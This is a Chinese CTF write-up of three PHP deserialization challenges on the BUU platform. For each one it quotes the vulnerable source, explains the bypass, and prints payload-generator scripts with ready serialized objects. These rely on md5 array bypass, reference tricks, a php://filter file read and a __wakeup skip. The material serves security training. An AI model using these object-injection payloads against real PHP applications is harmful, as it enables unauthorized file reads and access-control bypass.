PHP反序列化练习
BUU上的三个题。
BUU CODE REVIEW 1
<?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/10/6 * Time: 8:04 PM */ highlight_file(__FILE__); class BUU { public $correct = ""; public $input = ""; public function __destruct() { try { $this->correct = base64_encode(uniqid()); if($this->correct === $this->input) { echo file_get_contents("/flag"); } } catch (Exception $e) { } } } if($_GET['pleaseget'] === '1') { if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }
页面代码如上,需要五个参数,pleaseget,pleasepost,md51,md52,obj。
这其中需要pleaseget和pleasepost分别强等于1和2,md51和md52不一样,但md5编码后一样,可以使用数组绕过。下面构造obj。
obj的反序列化会触发__destruct
魔术方法,根据里面的内容correct会被随机赋值,我们要得到flag,就要让correct和input相等即可。
构造php脚本:
<?php class BUU { public $correct = ""; public $input = ""; } $a=new BUU(); $a->correct=""; $a->input=&$a->correct;//input和correct的值相等。 echo serialize($a); ?>
输出结果:O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
进行输入获取flag:
[网鼎杯 2020 青龙组]AreUSerialz
<?php include("flag.php"); highlight_file(__FILE__); class FileHandler { protected $op;//构造脚本时换成public,否则产生的字符会超出范围。 protected $filename; protected $content; function __construct() {//不会被触发 $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } public function process() { if($this->op == "1") { $this->write();//调用write函数 } else if($this->op == "2") { $res = $this->read();//调用read函数 $this->output($res); } else { $this->output("Bad Hacker!"); } } private function write() { if(isset($this->filename) && isset($this->content)) { if(strlen((string)$this->content) > 100) {//判断字符串长度 $this->output("Too long!"); die(); } $res = file_put_contents($this->filename, $this->content);//将某字符写入某文件 if($res) $this->output("Successful!"); else $this->output("Failed!"); } else { $this->output("Failed!"); } } private function read() { $res = ""; if(isset($this->filename)) { $res = file_get_contents($this->filename);//读取文件获取flag,故而要使op=2 } return $res; } private function output($s) {//输出函数 echo "[Result]: <br>"; echo $s; } function __destruct() { if($this->op === "2")//需要绕过,这里是强等于,上面是弱等于,那只需让op等于2,但数据类型不是字符即可。 $this->op = "1"; $this->content = ""; $this->process(); } } function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))//传参数据的ascll码值必须大于等于32,小于等于125。 return false; return true; } if(isset($_GET{'str'})) { $str = (string)$_GET['str']; if(is_valid($str)) {//if里面调用了is_valid函数 $obj = unserialize($str); } }
构造脚本:
<?php class FileHandler { public $op=2; public $filename='flag.php';//这里的`flag.php`可以换成php://filter/read=convert.base64-encode/resource=flag.php public $content; } $a=new FileHandler(); echo serialize($a); ?>
构造结果:O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";N;}或O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
区别:
简单的flag.php,文件不会显示到页面上,需要产看源代码即可看到。
php://filter/read=convert.base64-encode/resource=flag.php会对文件进行过滤,最终文件内容会以base64编码的形式呈现在页面上,进行解码即可见到。
[极客大挑战 2019]PHP
本题先使用dirsearch进行扫描,扫描时间有点长。
扫描完成后会获取到一个www.zip文件,在url中输入,下载完成可以得到flag.php,class.php,index.php三个文件。flag文件中没有什么内容,可以不看了,index是页面小猫的代码,里面有个传参的代码。
<?php include 'class.php'; $select = $_GET['select']; $res=unserialize(@$select); ?>//传递的参数是select。
下面着重看class代码。
<?php include 'flag.php'; error_reporting(0); class Name{ private $username = 'nonono';//这里是private,我们需要将空字符输入,可以使用base64编码再解码输入。可以在BP中操作。 private $password = 'yesyes'; public function __construct($username,$password){//不会触发 $this->username = $username; $this->password = $password; } function __wakeup(){//修改username的值,要进行绕过,即参数个数要比实际参数个数大 $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) {//确保password是100 echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') {//要使条件成立 global $flag;//获取flag echo $flag;//输出flag }else{ echo "</br>hello my friend~~</br>sorry i can't give you the flag!"; die(); } } } ?>
构造脚本:
<?php class Name{ private $username = 'admin'; private $password = '100'; } $a=new Name(); echo serialize($a); ?>
编码结果:Tzo0OiJOYW1lIjozOntzOjE0OiIATmFtZQB1c2VybmFtZSI7czo1OiJhZG1pbiI7czoxNDoiAE5hbWUAcGFzc3dvcmQiO3M6MzoiMTAwIjt9